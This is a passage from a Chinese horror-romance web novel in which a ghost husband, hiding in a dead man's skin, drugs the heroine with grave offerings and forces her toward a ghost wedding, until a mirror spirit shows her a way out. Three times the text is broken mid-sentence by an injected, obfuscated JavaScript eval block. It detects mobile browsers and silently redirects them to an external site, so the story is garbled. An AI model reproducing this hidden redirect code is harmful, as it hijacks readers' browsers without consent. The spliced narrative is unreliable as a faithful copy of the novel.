许菱烟不舒服地嘤咛一声,在睡梦中,下意识抬起手打算揉一揉眼睛,却被沈明谦中途截胡,强拉到嘴边亲吻。 淡紫色血管透过白皙皮肤显现出来,脉搏不知疲倦地震动,血液缓缓流淌,延续她宝贵的生命。 此时此刻,他的利齿正抵着她手腕内侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298567|195586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血管最清晰也最脆弱的地方,一颗腐朽的心脏模仿她的节拍起伏,也因为这种可以完全掌控她、与她共振的行为而亢奋,那种患得患失的心情终于得以舒缓。 许菱烟拧着胳膊挣扎了下,发现挣不动,干脆就由他去,继续踏实睡自个儿的觉。 她的无奈妥协,反被他误解成纵容,立即怙恩恃宠起来。 “这还是娘子第一次主动跟我示好呢。” 沈明谦粲然一笑,跟方才戾气横生的模样对比,判若两鬼。 他被捋顺毛,乖乖蜷缩在妻子身旁,撩起她一缕发丝,绕在指间转呐转,说话的口气像个耍赖的小孩,“你爱我,哪怕知道我的所作所为,也必能体谅我的苦衷。就算你要为这事生气,也别气太久,更不要同我冷战。” “你可以打我、骂我,或者,干脆拿刀子豁开我的胸膛,把心肝脾胃肾剖出来,剁碎了,熬成汤做成菜,一点不剩地吃进肚子里,变成养料滋养你的神魂。再将我剥皮抽筋,皮制成衣裳,夏天为你遮阳冬天为你取暖,筋制成饰品佩戴,时刻不离身……” “这么一想,其实我是个很有用的夫君,对不对?那你只管随心所欲的利用我,以后我有哪儿做得不对,你只管说,说出来我一定改,但你千万别一生气就不要我,好不好?” 许菱烟抿了抿嘴,眉尖蹙起,“……” 原本安生睡着觉,结果耳畔有道阴魂不散的声音,一直“对不对”“好不好”“行不行”地缠着她不放。弄得她烦躁至极,转身滚入他怀里,气鼓鼓地哼了一声。 沈明谦一顿,心尖被不轻不重地挠了下,吃吃笑道:“那我就当你答应了。” “明晚,就在这儿,我们拜堂成亲。自此以后,不管碧落黄泉还是生死长夜,你都休想再甩开我了。” 他拨开她的碎发,看着她因为睡久了发热涨红的面颊,情不自禁地靠近,浅啄一口。 - 印象中,昨晚洗完澡,许菱烟连饭都没来得及吃,就上床休息了。 今天起床确实意料之外的艰难,浑身上下没一块地方是舒坦的,大量乳酸堆积,导致她踩在地板上的双腿一直轻微打颤,走路像踩在刀尖上,揉了很久才得以缓解。 搁在床头柜上充电的手机也闹起脾气,反复尝试,仍然开不了机,坏得很不是时候。 许菱烟无奈,把手机和充电器揣进挎包,打算待会儿麻烦沈渠带她去找家维修店,然后打开窗户,给返潮的房间透风。 来之前,许菱烟看过天气预报,说几天都是艳阳天,但这会儿天色格外阴沉,天际乌云翻涌,寒风凌冽,看似有一场大雨即将袭来。 幸亏她有先见之明,预备了一件厚实的外衣。 收拾妥当,许菱烟喝掉床头上的那杯温水,打算叫上沈渠一起外出觅食、修手机,逛逛街,顺便买一些当地特产带回家。 刚开门,先闻到一股喷香的饭味。许菱烟肚子里的馋虫接收到召唤,开始发作,咕噜咕噜叫起来。 与此同时,沈渠一声短促地笑传来,喊她快来吃午饭。 听动静,距离她很近,可找了一圈儿也没看见他人。 许菱烟一头雾水,沿长廊往沈渠房间所在的方向走。 本以为这一侧全是墙壁,结果没走几步,她意外发现,墙与墙之间并没有连接在一起,反而错落有致,中间断开的地方是进入后院的入口。 从她的房间望过来,完全察觉不到这一点。 很神奇的视觉错差。 后院结构跟前院差不多少,却比前院更有生活气息。 入目是开放式的大厅,牌匾写着“家和万事兴”,正中央同样摆着一张四四方方的长桌,周围摆放着梨花木椅,是用餐的地方。 五菜一汤,还冒着热乎气,香味儿变成有形的丝线钻入前院,诱惑她跳入陷阱而不自知。 许菱烟从墙边探头探脑地观望一阵,没瞧见任何人,于是小心翼翼地迈出一步,努力压抑嗓音,鸟雀般低低地叫:“……沈渠?” 周遭完全寂静,无人应答。 怪了,刚才还叫她过来吃饭的人,此刻如同人间蒸发一样。 许菱烟莫名其妙,走进大厅先落座,这才发现饭碗下方压着一张纸条,笔触潇洒飘逸,像他又不像他。 不管怎么想,她的大脑都一片空白,压根记不起他最初的字体。 许菱烟心头涌入一股奇异的滋味,还没来得及抓住什么就消失不见,只留下一团挥不开的迷雾。 她像在水中捞月,虚虚假假、缥缈混沌,一切显得那么不真切。 在这样的情绪里游离良久,许菱烟才意识到去看纸条上的内容:有事外出,很快回来。院子太大了容易迷失方向,你不认路,不要单独往外跑,等我回来再带你去逛。沈留。 “……有事外出?刚才他人不是还在后院吗?”许菱烟不解,摸了摸滚烫的饭碗。 饭刚做好,两人先后不过几步路的错差,他甚至没顾得上跟她当面打个招呼,那么仓促的离开,应该是有了不得的急事。 否则,以沈渠一贯的行事风格,不会把她一个人丢在人生地不熟的地方待着。 许菱烟折起纸条,放进口袋,拔下竖着插着米饭正中央的筷子,决定先喂饱肚子里的馋虫。 39. 婚房 秉持着健康饮食的原则,许菱烟一向吃个半饱,从不狼吞虎咽、不知节制的用餐。 当下此刻,她已经完全顾不上以前养成的优良习惯,一直吃到肚子臌胀成皮球大小,胃都要撑爆了,才肯打着饱嗝,放下筷子。 一则,沈渠做饭的手艺太棒了,满桌全是合她胃口的、地地道道的鲜香麻辣滋味。 另一则,她真的饿了。 昨晚困得很,洗完澡,没顾上吃点东西就睡了。 导致她一觉醒来之后,仿佛一连饿了很多天,五脏六腑都蜷缩在一起,头脑发昏,四肢虚软。 饭菜一喂进嘴里,迟钝片刻才咂摸出原有的味道,上瘾一样压根舍不得停嘴,眼见着肚子从瘪下去一块又变成鼓起来一块,她起身收拾碗筷的动作都显得迟钝。 厨房就在大厅旁边,许菱烟擦干净桌子,拿碗筷进去清洗。 忙完以后,她摘下围裙,惬意地伸个懒腰,视线顺着敞开的窗户,一眼望见那间上锁的屋子。 原以为在前院看见的就是正门了,没成想走到后院还有一扇门,门栓上挂着相同款式的锁。 从外观看,跟其它房间其实没什么不一样,至多是更破旧一点,房檐上蛛网悬垂,干瘪枯死的蜘蛛尸体在上面晃来晃去,乍看很萧索。 沈渠说他和父母很久不来了,偶尔他回来瞧瞧,也不单独住在这儿,而是去陪外婆她老人家。 这次他们来得仓促,管家只收拾了主卧和次卧,其余的还没来得及打扫。 房子一旦没人住,很快就会破败。 所以,那儿就算灰扑扑也正常,没有任何值得过分关注的地方。 许菱烟这般劝说自己,但冥冥之中,仍然感觉里头有了不得的东西,不断诱惑她靠近。 鬼使神差的,她迈上台阶,伸手摩挲凹凸不平的木质门,心头涌入一股十分熟悉的情绪,参不破来源。 墙上的窗户被钉死了,内里蒙着不透光的布,许菱烟干脆扒着门缝,努力张望。 尽管知道这样肆意窥探别人家宅的行为不对,但她实在控制不住熊熊燃烧的欲-望。 好奇心破天荒的头一回被激起,达到无法压抑的程度,如果不是还有最后一丝理智拽着她,她真想找个趁手的工具把锁撬开,闯进去一探究竟。 许菱烟被这个荒唐、疯狂的念头吓到,匆忙后退两步,一不留神,险些从台阶摔下去。 顾不上不慎扭到的脚踝,也没细究从门缝中飘出的浓郁檀香味儿,她抹了一把脸上渗出的细汗,一瘸一拐地逃回房间了。 甫一转身,那间根本看不清任何陈设的房间内突然亮起灯,被她误认为遮光布的烟雾晃了一下,迅速归拢成一堆,恋恋不舍地望着她离开的方向,迟迟不愿回归本体。 纵使亮着灯,那道缝隙后方仍然黑黢黢的。 忽然,有羽毛一样的东西快速抖擞了一下,类似活人眨眼的动作,随即,那团黑渐渐往门缝中央收缩,攒聚成豆粒大小的瞳仁,依稀分辨得出眼睛的轮廓,迸射出痴狂的神情。 回味着妻子贴近时喷洒出的芬芳,它敏感的神经抽动不已,忍不住伸出腐朽的长舌舔了一圈唇,反复咂摸着她留下的气味。 这还不够,它内心压抑的欲念永远不知满足,甚至愈发汹涌。 它扶着门框站起身,自身侧猛然伸出的雾条,一把抓住窗户边那些“不安分”的东西,不由分说地塞进胸膛,一股被填满的餍足感袭来,使它合眼,发出一声舒爽地喟叹。 随即,身形呈现完全。 屋内烛火摇曳,照亮沈明谦乌青发紫的皮囊。 从忘川河带出来的潮湿还未干涸,水痕蜿蜒爬过皮面,顺着下巴啪嗒啪嗒砸落。 他撩了一把额前凌乱的发丝,露出清俊且凌厉的五官,纤长浓密的睫毛撑不住水珠的压迫,深深的向下低垂,水线沿着睫毛汇集到尖部,像极了清晨时分被露水压弯腰的小草。 脚下很快堆积了一滩暗色水圈,他静静站在其中,身板单薄笔直,气势森然,偏又长着一张格外漂亮的脸,俨然一只令人胆寒的艳鬼。 待身体内滚涌的躁动稍微平复,他抻了抻四肢,那股灼烧的痛感始终挥之不去。 身后,那张属于沈渠的外皮折叠整齐放在椅子上,腐坏的程度太严重,已经很难继续保护他的魂灵。 而他自身的情况也没好到哪儿去。 今早本想给妻子做一顿饭,不小心被灶火燎到手,他就痛得蜕了皮,缩进下头那条怨气横生的河里缓了好一会儿。 若以这样的姿态强撑下去,早晚有一天,他一定会魂飞魄散。 也正因为这一点被那些腌臜货色发现,昨夜他们才敢集中在院门外放肆,吵得他和妻子不安生…… 不管怎么说,沈渠的皮都不该再用,活人待得地方也不该久留,而他带妻子回家的计划,又恰巧安排在今夜,这何尝不是“命中注定”的一种呢。 沈明谦抬起头,从门缝望出去,盯着乌云密布的天空,露出一抹危险的笑意。 “距天黑还有六个小时。” “清如呐。” “为夫就快等不及了。” “……” - 贪多嚼不烂,老话诚不欺人。 午睡过后,许菱烟胃部抽痛难忍,跑卫生间整整吐了三回。 最开始呕出生的大米、蔬菜,以及带着血丝、大块大块的生肉,食材外包裹着粘稠的胃液,惨不忍睹。痛苦地呻-吟在上空回荡。 后来吐无可吐,空荡荡的胃里却像仍有活物作祟,不知疲倦的打滚作怪,踹得她五脏六腑都卷合在一起,喉咙被反呕的胃酸灼烧,火烧火燎的疼。 她虚弱地趴在马桶边,眼前一阵白一阵黑,全凭着毅力才没晕过去。 硬生生熬了一阵儿,许菱烟浑身大汗,四肢脱力,痛苦至极,仿佛随时就能死掉一样。 这样的症状让她很难不往食物中毒的方向考虑,偏偏手机又坏了,没办法向沈渠求助,真是叫天天不灵叫地地不应。 许菱烟拧开水龙头草草抹把脸,醒醒神,拖着软绵的步伐走出卫生间,强撑着烧了一壶水,逼自己隔一段时间就喝一大杯,或吐或泄,期待多少可以管用。 等待水烧开的功夫,她披着毛毯蜷缩在沙发上沉沉地睡着了,再睁开眼,窗外繁星点点,寂静的连一声虫鸣都听不见。 手机坏了,幸亏还有挂钟还能看时间,许菱烟揉着眼睛坐正,发现竟然已经到后半夜了。 她不小心崴的脚已经好了,只是胃还有一些些不舒服,不是痛感,是空虚。 简而言之,就是,她又饿了。 许菱烟无奈扶额,完全拿这具俗人身体没辙。 因为先前吐得太狠,体内缺水,她把壶里的温水分成小杯一次喝完,然后披上外套,蹑手蹑脚的往外走,打算到后院的厨房里找点清淡的食物,少吃一点,垫垫肚子。 这个点儿,就算夜猫子也该睡了,沈渠的房间内当然不可能亮着光。 深夜寂寂,满天乌云笼罩,不见一缕月光,整座宅子被渗人的静笼罩着,所有拐角和掩体后都有不易被察觉的东西蠢蠢欲动,偏许菱烟对此毫无察觉。 就连摆了满院儿的红绸大花木箱子,也没吸引她的注意。 许菱烟一边嘀咕着“今晚怎么这么黑”,一边伸手摸着墙壁缓慢前行。 印象中,通往后院的拐角就在几步远的地方,诡异的是,这次她走了很久很久,一直走到双腿麻木、脚底疼痛也没到达。 下午折腾那几遭,耗费她太多体力,虽然睡了个把小时,但一时之间还不能完全恢复,她不得不停下来歇会儿,心态颇佳的自我调侃说:“为了口吃的,也是拼了老命了。” 声音刚落,前方突然亮起光,宛如乍现在黑暗中的鬼火,吓她一激灵。 原以为是闹得动静太大,惊动了沈渠,不过定睛一瞧,许菱烟发现不是沈渠住的次卧,而是白天上锁的那间——她从一开始就走错方向了,难怪迟迟找不到通往后院的岔口。 借着这点微弱的光线,许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299063|195586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菱烟得以看清脚下的路。 现在折返回去还来得及,可她的视线,又一次,不受控制地瞥向屋子所在的方向…… 不…… 更准确地说,她紧盯不放的,其实是那把样式特殊的锁。 锁不知道什么时候被打开了,悬挂在门栓孔里,随风一晃一晃地砸着老旧的木质门板,敲出的动静很有规律,听久了很像有人凑近耳畔,频频呢喃:“进来……进来吧……进来坐一坐……” “离开了这么久,难道你不想念这儿?” 许菱烟手指蜷缩,瞳孔有一刹的涣散,“……” 想啊。想的。 她当然想了。 脑子里有道声音十分急切的回复:白天若非有一道锁挡着,她早就进去了。 许菱烟舔了舔干涸的唇边,眼神发直,透着一股执拗,仿若误打误撞发现了惊世珍宝,内心最黑暗的贪-欲顿时被诱发。 她不愿再错过得之不易的机会,冲着房间越走越快,干脆小跑过去,一把推开虚掩着的房门。 夜风随着她迈门槛儿的动作一同扑进来,烛火剧烈扑闪了一下,很快恢复如常,尽职尽责地照耀着四周。 而许菱烟的身形倏然滞住,手扶着门框边,另一条腿也还没跨进来,人瞧着面前的景象,目瞪口呆。 房间内的陈设完全依照古代大婚的场景,窗户上贴着双喜红纸,内外用红纱幔分隔,一阵接着一阵湿冷的夜风吹进来,卷动帘子,刚巧勾住放置花盆的架子一角,像有人主动打开门,邀请她入内参观。 里屋,凡肉眼可见的地方全摆着红烛,因为数量够多,用灯罩罩着也丝毫不影响照明。亦因此,许菱烟压根没办法找借口,否认自己当下清楚看见的一切。 床榻上铺开绣了鸳鸯戏水图的被褥,还洒了有特殊寓意的红枣、桂圆、铜钱之类的东西。 这些夸张归夸张,倒也可以接受。 唯独……喜榻上静坐的那两具身披喜服的尸骸,由于死去的太久,已经完全白骨化了,并且都有不同程度的缺失。 其中穿着新娘衣裳的那一具竟还生出头发,及腰的乌发被养护的极好,绸缎一般披散在身前背后。 这还没完。 由她亲手为演出制作的新娘头面,此时此刻就戴在那具尸骸的头上,珠宝与长发一齐闪烁着耀眼的波光。 这一幕带来的冲击力太大,许菱烟的大脑下意识开启自我保护机制,摒弃所有神神鬼鬼的诡谲念头,给这件房间粗暴定义为,“或者是沈渠家哪个从事影视业的晚辈,捣鼓来的道具,弄成的临时拍摄点。” 许菱烟艰难咽下口唾沫,嗓子滚过刀片一样的疼,多少唤醒她那部分走失的理智。 她移开视线,不再看那两具骇人的骸骨,扶着门框后退,于内心不停反复絮叨:是这样的,一定是这样的。别怕,别怕别怕别怕别怕别怕别怕别怕别怕……本来也没什么可怕的,现在赶紧回房间待着,天一亮就可以回家了…… 实际上,许菱烟一刻都待不下去了,恐惧与惊慌交叠,让她无比后悔轻易答应跟他来外地过夜。 纵然她不愿把喜欢的对象往坏处设想,可,人性又有哪儿值得盲目信任? 她要走。 现在,立刻,马上。 深更半夜不容易打到车,手机又坏了联系不上朋友和家人,这些统统没关系。 昨天来得时候,许菱烟半梦半醒间注意到周边有不少酒店,她包里有足够的现金和身份证件,去找家酒店对付一晚,肯定没问题。 短短几秒钟内,许菱烟已然筹划好了应对策略。 可下一秒,她敏锐感知到不对劲。 肆虐的夜风不知道什么时候停止了,周遭的气温霎时间降低,宛如寒冬再度来临。 潮湿水汽悄悄自背后袭来,快速化为实质拢住她发颤的身躯。 呼吸声从耳畔轻柔拂过,依旧是那把动人心弦的温柔嗓音,此刻却透出缠绵入骨的阴湿:“妻。” “这一次,想起我了吗?” 40. 第四场梦 声音缓缓落地,随即轰得一响,自天际斜劈下来一道闪电,如锋利的刀斧一般,割开始终笼罩在许菱烟脑海里的浓云,也照亮她煞白的脸色。 顷刻间,大雨滂沱,天地被厚重的水汽包裹。 许菱烟被他紧紧搂抱着,衣服不一会就湿透了,发丝水淋淋垂在身前,空气中萦绕着一股似有若无的腐臭气味,刺激着脆弱的胃部再次卷动,疼痛反倒让她回忆起一些莫名遗忘的事情。 凭空出现在浴室的睡衣。 无故坏掉的电器、灯泡。 丢失的保平安串珠…… 种种看似无关紧要的琐碎,越来越多无法解释的古怪,伴随沈渠的出现逐步渗透到她的生活中。那么,无数个夜晚令她心惊担颤的梦,会不会,压根不是梦? 许菱烟不敢深思,顿时遍体生凉。 比起用常理无法解释清楚的诡谲,眼下她宁愿接受他是个居心不良的人。 但若是,让她在不知情的情况下,真心爱上一个……一个不知道是什么的物种,甚至所有亲密的行为都发生了,还到了谈婚论嫁的地步,她的胃里就一阵翻云覆雨,喉管频繁抽动,犯起干哕。 “只吃了那么一点儿贡品,竟然难受到现在,身子骨真差。” 有只手抚上她背脊,轻轻拍打,帮她顺气,耐心解释:“那儿到底不是活人该待的地方,我怕你贸然进去会不适应,所以在贡品里掺了一点骨灰,这样你吃了便无法被认出气味儿,以后也能过得自在。” 许菱烟结结实实地打了个寒颤,大脑彻底宕机,反复回荡着同一个疑问:贡品。他喂她吃了贡品。是她逢年过节在供桌前见到的那种,还是坟头那种? 不消多想,许菱烟汗毛直立,无法言语的恶心翻滚,致使连接喉头与胃部的管道骤缩,腐蚀性液体被向上挤压,她来不及捂嘴,呕得一声,整个人不受控制的向前扑去。 环在腰间的手臂及时收紧,牢牢抱住她。 许菱烟胃里什么都没了,吐也只能吐出一滩酸水。 脱力的躯体对折似地挂在他臂弯,摇摇欲坠。 许菱烟张着嘴,任由发酸的口涎拉成丝掉落地面,眼眶因为失重而酸涩发胀,半晌,一滴泪水没掉下来,只能直愣愣盯着自个儿腰上结实的双臂。 皮肤惨白,粗壮的青紫脉络突起。 俨然无法用“活人”来定义。 与此同时,她清晰感受到,后背还有只手在缓慢抚摸。 许菱烟头皮瞬间炸开,阵阵发麻。 察觉到那道锋利的视线,她压根不敢回头看,面部肌肉抖动几下,勉强挤出一抹僵硬的弧度,似笑非笑,上下牙因为惊惧打着磕碰,好一会儿,终于哆哆嗦嗦地开口:“别、别闹了。如果你对这个感兴趣,等回去,我约几个朋友,组一局剧本杀玩。” 闻言,后背的动作一停,环住腰间的臂弯倏然收紧。 许菱烟一下没吃住这份力气,眉尖蹙起,五官皱成一团,短促地痛呼一声:“——呃!” “小骗子,又装傻。你明明知道我是谁。” 他凑近,森寒的呼吸喷洒在她耳边。 这一声嗔怪不似威胁,更似情人之间的缱绻,还混杂着含糊的笑音,根本就是在逗她玩。 许菱烟双腿一软,亏得腰间还有两条钢筋般的手臂托着,不至于滑跌去地上。 遇见危险的惊骇是本能反应,可她的感受却在说谎。 到底从哪一天开始,她的身体竟然比潜意识先一步接受了他的触碰,在他靠近的时候,条件反射般涌入依赖的热潮。 许菱烟被这阵不受控的反应恶心坏了,整个人突然发狂地挣扎起来,凄厉地喊叫:“滚开!别碰我!冤有头债有主,谁害得你就去找谁报仇,我没做对不起你的事,为什么一个劲儿缠着我!?” 沈明谦快速躲开她向后踢来的腿脚,欺身上前抵住她的膝盖窝,很快深处雾枝牢牢锁住她不安分扭动的身体,把人死死钉在墙壁上。 他双眸涨得渗血,全是说不尽的哀怨。 一字一句,咬牙切齿:“我们之间,何止仇怨。” 说着,他用虎口卡住她下巴,逼她正对着榻上那两具尸骸。 许菱烟唰得合起双眼,死活不肯看。 刚才的挣扎用尽了她全部的力气,这会儿软绵绵的一条人被他桎梏着,浑身骨骼碎裂般的疼起来,不停倒吸凉气,泪水一汩汩沿眼尾淌落,啪嗒,砸在他手背上。 烫得沈明谦愣怔一瞬,意识到什么,惨恻地冷笑道:“你以为一剑捅死我就能了却前尘?今日我非要你看个清楚明白,跟你永生永世在一起的,究竟是谁。” 倏地,他又变了语调,厉色低吼:“睁开眼,仔细看!我不信你认不出来!” 他扼着她的手用力收紧,两腮肉被捏的变形,下颌骨咔嚓响了一声。 许菱烟疼极了,眼泪流的更汹涌。 无形中,有道不容反抗的力量扒开她的眼皮,迫使她看清面前的景象。 红。妖冶的、血一样的红。 刺得双目生疼。 与此同时,许多蹊跷的画面争先恐后挤入脑海。 一时之间,前世与今生交错,无数不同的声线萦绕耳畔,不断呼唤“清如”,硬要她苏醒过来。 许菱烟分辨不清什么是真什么是假,脑袋疼得快裂开,但却倔强地咬住下唇,不肯发出一丝痛呼。 生理性泪水宛如断线的珠子,接二连三地砸到他手背上,终于唤醒他几分怜悯。 沈明谦伸长舌头,轻柔地舔去妻子面颊上的水渍,卷起舌尖反复咂摸,压根不管一碰就抖成筛糠,马上要晕过去的妻子的死活。 换言之,死了也行,不过是换一种更便捷的方式相守罢了。 直至嘴巴里最后一点点的甜味儿消失,沈明谦刚才被激起的怒火终于得以平息。 他注视她惊惧的表情,轻叹一声,半是无奈半是宠溺,“何至于怕成这样?我还以为,你对今日发生的事早就有所觉悟了。我曾说过,上至碧落下至黄泉,不管你逃到哪儿,轮回几次,我一定会找到你。做了这么些年的夫妻,你理应了解,我一向说话算话。” “再者,除了仇怨,我们之间还有爱,不是吗?” 他爱惜地蹭一蹭她,像极了耍赖的孩童,“往后,我们在一起,好好过日子。” 许菱烟下颌仍然合不上,钻心的疼痛让她眼前一阵黑一阵白的,泪水弥漫,模糊视野,看不清床榻上的尸骸,反倒减少了一些恐惧。 她刻意忽略耳边的絮叨,兀自暗骂:什么狗屁爱,她压根不认识他。要么是她点背撞邪,被一只报错仇的恶鬼缠上配阴魂,要么做梦的时候被鬼压身,迟迟没醒过来。 反正一切都是假的。 只要她不信,就害不了她。 许菱烟吞了口唾沫,硬在慌乱中挤出那么一点清明,开始默念:民主、文明、和谐,自由、平等、公正、法治,爱国、敬业、诚信、友善。 阿弥陀佛,南无观世音菩萨,大慈大悲,救苦救难。 伽弥腻清泰故乡,伽伽那虚空,枳多迦利坚往谛往生,莎婆诃速疾圆成…… 念着念着,许菱烟头被针狠狠扎了一下似地疼。 整个人摇摇晃晃地站不稳,眼瞅就要晕过去。 没成想,疼痛来得快去得也快。 她很快恢复正常,接着,压在后背的那股沉重逐渐消失,屋内的潮湿黏腻感减退了不少,耳边也清净了。直至腰间的禁锢彻底离开,她心中一喜,却仍然不敢睁开眼,伸出重获自由的双手,向前摸索。 明明记得前头是一堵墙,结果走了半天什么都没摸到,仿佛四周一片空茫。 许菱烟不明觉厉,不敢再往前了。 今天晚上经历的邪门事太多,她从小到大接受的科学教育逐渐崩溃,生怕又碰见难以解释的玩意儿,万一吓晕过去,最后连小命怎么没的都搞不清。 事已至此,自欺欺人还不如接受现实,赶紧想办法找个逃离。 许菱烟给自己鼓鼓劲儿,眯起一条眼睛缝,发现前方竟然是一张坑坑洼洼的老旧木头桌子。 她预感不妙,双目霍然睁大。 原本红彤彤的婚房变成一间小木屋,狭窄逼仄,家具少到可怜且都破破烂烂的,泛黄的窗纸豁开好几道口子,门框上积满灰尘,冷风呼呼往里灌,吹动门框也跟着咣当咣当直响,灰尘簌簌下落,漫天飞扬。 整间屋子里只剩下她一个人,那只幽怨的男鬼不知所踪。 寒风吹得她神志不清,一袭贴身红色嫁衣,墨发随风飘舞,背影像极了一只张牙舞爪的鬼怪。 虽然不知道怎么就换了一个地方,但许菱烟完全没有发现自己还在撞邪之后的恐惧,反而有种说不清道不明的心安:……这个地方,她好像梦到过。 脑中闪现过某些模糊不清的画面,许菱烟立即低头,果然看见桌子上摆着一面镜子。 光线昏暗,镜面发黄,倒映着并不清晰的人脸。 许菱烟直觉是自己没错,隐隐约约又感觉不太对。 鬼使神差的,她伸手抹去镜面上的那一层灰。 这一个小小的举动导致镜中人像被打扰了一样,突然从睡梦中苏醒,深深提起一口气,冲她眨了眨眼,流下两行清泪,弱声道:“终于见到你了。” “——妈呀!” 许菱烟冷不丁被吓一跳,心脏有一刹的停拍,短促地尖叫起来。 镜子被她甩飞出去,在地上骨碌滚了一圈,不慎磕破个角。 镜中人也发出微小的哀叫。 许菱烟胸口起伏剧烈,惊魂未定的在原地待了一会儿,骇得手脚直抖。 确认镜子里的女人不会钻出来对她做什么,许菱烟忍着头皮发麻的惊惧,小心翼翼地挪近,用袖子包着手,重新翻开镜子,然后迅速退开一段距离。 意料之外的,那女人不哭了,反而用一种难以言喻的哀戚眼神注视着她。 许菱烟看着镜子里那张跟自己一模一样的脸,内心五味杂陈。 然后,一咬牙,把镜子捡起来,重新放回到桌上。 那女人眨巴眨巴眼,看样子很纯良无害,郑重其事的问候她一声:“郑清如。” 这个名字如同魔咒一般,顿时激起她浓浓的反感。 她深吸一口气,将从小接受的科学教育暂时撇去一旁,反驳:“我不叫郑清如,我叫许菱烟,有父母有朋友,有自己的事业和梦想,是一个活生生的人。” “我兢兢业业的工作,从没收过一分亏心钱。” “为人友善诚心,一件坏事没做过,你们干嘛非缠着我不放?” 许菱烟越说越崩溃,叉着腰,绕巴掌大的房间转了一圈,红着眼眶,要哭不哭地,“做鬼的也要讲良心,不然损了阴德,小心没办法转世轮回。” 女人一顿,忽然笑了起来。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318044|195586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑容实在漂亮,双眼弯如皎月,面皮白中带粉,一点儿没有刻板印象中鬼魅的恐怖,声音也温温柔柔地:“不管什么时候,都要牢记自己是谁,这一点很重要。” “哪怕魂魄是同一个,转世之后的所见所闻不同,人也就不同了。可惜这样的道理,他却不懂,所以才会不依不饶的纠缠了这么久。” 许菱烟蹙眉:“……他?” 女人微微颔首,用眼神示意她坐下说话。 许菱烟表情犹豫,不知道该不该信她。 僵持了一会儿,许菱烟确认对方没有恶意,坐到桌前的矮凳上,保持转身随时准备离开的姿势,视线也避开镜中人。听女人说:“那不是真正的沈渠,他死后,被鬼借尸还魂了。” 纵然早就对答案有所猜测,但亲耳从别人那儿得到证实,又是另外一回事。 她激起了一身的鸡皮疙瘩,脑海中立即浮现出两人过往的种种亲昵,胃部一阵拧动,强烈的恶心迫使她弯腰,冲着地面哕了好一会儿,可惜什么都没吐出来。 但身体却像受不住几次三番的折腾,一丁点儿水分和食物都没了,从侧面瞧,已经变成干瘪的一张纸,随着她躬身的姿势,腹部折起一条细细的褶。 她全然没注意这些诡异的地方,扒着桌沿,迫切地问:“他为什么缠上我?你又为什么把我带到这里?我该怎么离开?” 一箩筐的疑问甩出来,不等女人回答,她悲从中来,揪长衣袖呜呜地痛哭。 鲜红的泪水从眼眶中争先恐后地涌出,顺着面颊滴落,浸湿衣领,又在脚边堆成一滩。 放任她哭了一阵,判断她的情绪释放的差不多了,女人轻轻柔柔地唤:“郑清如。” 她哭泣的声音一顿,用衣袖擦了擦脸,抽抽搭搭地反驳:“我不叫这个名字。” 女人含糊地嗯了一声,没有跟她计较这些细枝末节,继续说:“他缠着你的原因,只有你才清楚,我没经历的事情,你问我也没用。” “还有,你搞错了一件事,不是我把你带到这儿的,而是你受他的影响,太想苏醒了,而苏醒势必要找回全部的记忆,所以你才会误打误撞把我唤来。” “……什么意思?”她目光迷蒙,血泪也卡了一下,徐徐滑落。 “对于别人来说,梦是虚幻的,梦中发生的一切不能当真。梦做久了、做多了,梦境之主便会分不清现实与幻觉,这种时候,很容易让其它的魂魄上身,或者唤醒前世的机缘,这就是他让我……让你,反复入梦的原因,他想让前世今生的我们合二为一,再做回他的妻子。” “但,这种邪门歪道是不长久的。” “等你有了自主思考的意识,察觉到不对劲的地方,梦境便会开始坍塌,势必导致现在的局面。” 女人叹气:“要么你杀死我独占这具身体,等待被他找到的那天,从此当个木偶人,听之任之。要么驯服他或者除掉他,终结这一切。” 什么做梦、什么真假、什么前世今生……她越听越糊涂,于是返回上一个话题:“我要离开,回我该回的地方去,你可以告诉我方法吗?” “走门。”女人好心指出一条明路。 “……门?那扇门?” 她指向一旁,因为过分简单的答案感觉不可思议。 “对。”女人给了肯定的答复,“门后就是你本该存在的地方。” 她猛然扭头,看着陈旧到连一小股风都抵抗不了的蒙尘木门,委实很难相信这个打开它就能回到现实的办法。 在要不要相信镜中人之间徘徊了一阵,她还是下了决心。 反正伸头一刀缩头也是一刀,不如赌一把,总比被那只可怕的恶鬼找到,拖回去当木偶人好。 既然决意要干,她拎起嫁衣衣摆,大步流星走向那扇木门。 拉开门的前一刻,忽然想到什么,她停下脚步,再次望向那面泛黄粗糙的镜子,“忘了问,你叫什么?” 女人笑了笑,哄小孩儿一样温柔地说:“许菱烟。你呢?” 她便也笑,门外的白光照到一张稚嫩漂亮的脸上。 